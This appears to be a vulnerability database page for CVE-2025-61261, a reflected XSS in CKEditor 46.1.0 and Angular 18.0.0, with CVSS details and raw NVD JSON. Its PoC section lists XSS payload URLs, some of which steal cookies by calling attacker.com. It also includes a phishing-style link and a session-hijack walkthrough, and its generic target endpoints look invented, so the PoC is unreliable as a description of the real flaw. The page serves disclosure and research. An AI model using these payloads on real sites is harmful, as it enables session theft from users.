Security Vulnerability Report
中文
CVE-2025-61261 CVSS 5.4 MEDIUM

CVE-2025-61261

Published: 2025-11-07 19:16:26
Last Modified: 2025-12-11 23:42:37

Description

A reflected cross-site scripting (XSS) vulnerability in CKeditor v46.1.0 & Angular v18.0.0 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:angular:angular:18.0.0:-:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:ckeditor:ckeditor5:46.1.0:*:*:*:*:*:*:* - VULNERABLE
CKEditor v46.1.0
Angular v18.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61261 PoC - Reflected XSS in CKEditor/Angular --> <!-- Attacker creates malicious URL with XSS payload --> <!-- Example 1: Basic script injection via URL parameter --> <!-- https://target-site.com/editor?content=<script>alert(document.cookie)</script> --> <!-- Example 2: Event handler injection --> <!-- https://target-site.com/preview?data=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> --> <!-- Example 3: JavaScript protocol injection --> <!-- https://target-site.com/ckeditor?return_url=javascript:alert('XSS') --> <!-- Example 4: Angular template injection variant --> <!-- https://target-site.com/angular-component?input={{constructor.constructor('alert(1)')()}} --> <!-- HTML PoC for demonstration --> <!DOCTYPE html> <html> <head> <title>CVE-2025-61261 PoC</title> </head> <body> <h2>CVE-2025-61261 Reflected XSS PoC</h2> <p>Click the link below to test the vulnerability:</p> <!-- Malicious link that reflects unsanitized input --> <a href="http://target-site.com/editor?content=<script>alert('XSS Vulnerability - CVE-2025-61261')</script>" target="_blank"> Click here for "special offer" </a> <script> // This PoC demonstrates how attacker can steal session cookies // In real attack, the following would be injected via URL parameter: // <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> // The attack flow: // 1. Attacker crafts malicious URL with XSS payload // 2. Victim clicks the link (via phishing, social engineering) // 3. Server reflects the payload without sanitization // 4. Victim's browser executes the injected script // 5. Attacker's server receives victim's session cookie // 6. Attacker hijacks victim's session </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61261", "sourceIdentifier": "[email protected]", "published": "2025-11-07T19:16:25.853", "lastModified": "2025-12-11T23:42:37.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in CKeditor v46.1.0 & Angular v18.0.0 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload."}, {"lang": "es", "value": "Una vulnerabilidad reflejada de cross-site scripting (XSS) en CKeditor v46.1.0 y Angular v18.0.0 permite a los atacantes ejecutar código arbitrario en el contexto del navegador de un usuario mediante la inyección de una carga útil manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:18.0.0:-:*:*:*:node.js:*:*", "matchCriteriaId": "5DA6149D-E3DC-4327-A155-BCE1E0726847"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ckeditor:ckeditor5:46.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "911BFBFB-8A7E-41BD-A5D8-598FD631AE78"}]}]}], "references": [{"url": "https://github.com/ckeditor/ckeditor5/releases/tag/v46.1.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://senscybersecurity.nl/cve-2025-61261-explained/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}